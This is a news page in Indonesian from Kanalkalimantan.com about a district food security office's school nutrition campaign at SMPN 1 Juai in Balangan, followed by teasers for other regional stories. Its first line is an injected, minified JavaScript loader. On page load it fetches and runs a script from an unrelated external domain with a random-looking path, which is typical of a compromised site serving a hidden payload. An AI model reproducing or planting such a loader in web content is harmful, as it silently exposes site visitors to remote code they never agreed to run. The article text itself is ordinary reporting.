(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PARINGIN – Dinas Ketahanan Pangan, Pertanian dan Perikanan (DKP3) Kabupaten Balangan, memberikan edukasi pangan bergizi dan sehat kepada pelajar melalui sosialisasi menu Beragam, Bergizi, Seimbang dan Aman (B2SA) Goes To School di SMPN 1 Juai, Desa Mungkur Uyam, Kecamatan Juai, Rabu (10/9/2025).
Analis Ketahanan Pangan Kabupaten Balangan, Aisyah, mengatakan, SMPN 1 Juai merupakan sekolah kesebelas yang dikunjungi dan menerapkan inovasi Berani Gesit B2SA Go School sepanjang 2025.
Pada 2024, DKP3 Balangan telah menyasar hampir 5.000 pelajar dari tingkat TK hingga SMA se Kabupaten Balangan.
“Hari ini Dinas Ketahanan Pangan melaksanakan B2SA Goes To School dengan inovasi Berani Gesit di SMPN 1 Juai. Kami juga mengucapkan terima kasih kepada pihak sekolah yang telah memfasilitasi kegiatan ini,” kata Aisyah.
Menurut Aisyah, kegiatan ini bertujuan untuk mencegah stunting serta meningkatkan kesadaran gizi sejak dini bagi pelajar. Melalui program B2SA, siswa diajak mengenal dan mengaplikasikan pola konsumsi pangan beragam dengan gizi seimbang, sekaligus memahami bahwa sumber energi tidak hanya berasal dari nasi.
Ia menyampaikan terima kasih kepada SMPN 1 Juai atas dukungan dan fasilitas yang diberikan karena generasi muda harus memahami sejak dini makanan yang enak, sehat, dan bergizi melalui pola makan B2SA, agar tidak terpaku pada pola makan yang hanya bergantung pada nasi.
Sementara itu, Kepala SMPN 1 Juai, Wita Pipin Purbawati, mengapresiasi kegiatan B2SA Goes To School yang dilaksanakan di sekolahnya. Ia berharap, sosialisasi ini dapat memberikan manfaat nyata bagi peserta didik.
“Kami mengucapkan terima kasih atas terlaksananya sosialisasi program dari Bupati melalui Dinas Ketahanan Pangan di SMPN 1 Juai. Program ini sangat mengedukasi sekali dan semoga bermanfaat bagi seluruh pelajar,” ungkapnya.
Dalam kegiatan tersebut, petugas ahli gizi dari Puskesmas Juai, Ma’ruf, turut memberikan penjelasan mengenai pentingnya gizi seimbang, pemanfaatan pangan lokal seperti ubi, jagung, kacang-kacangan, sayuran, dan buah-buahan, serta cara membiasakan pola makan sehat dalam kehidupan sehari-hari. (Kanalkalimantan.com/mcbalangan)
Editor: kk
KANALKALIMANTAN.COM, MARTAPURA – Merasakan langsung air yang merendam rumah warga, Tim Kanalkalimantan Peduli – Mahasiswa… Read More
KANALKALIMANTAN.COM, MARTAPURA — Banjir yang menenggelamkan wilayah Desa Sungaitabuk Keramat, Kecamatan Sungaitabuk, Kabupaten Banjar mematikan… Read More
Gubernur Kalimantan Selatan telah menetapkan Upah Minimum Provinsi tahun 2026 pada hari Rabu, 24 Desember… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas, Dodo memimpin rapat koordinasi penyelesaian tenaga non Aparatur… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar apel gabungan awal tahun 2026 bagi seluruh… Read More
KANALKALIMANTAN.COM, PARINGIN - Bencana banjir yang melanda Kabupaten Balangan sejak akhir Desember 2025 berdampak pada… Read More
This website uses cookies.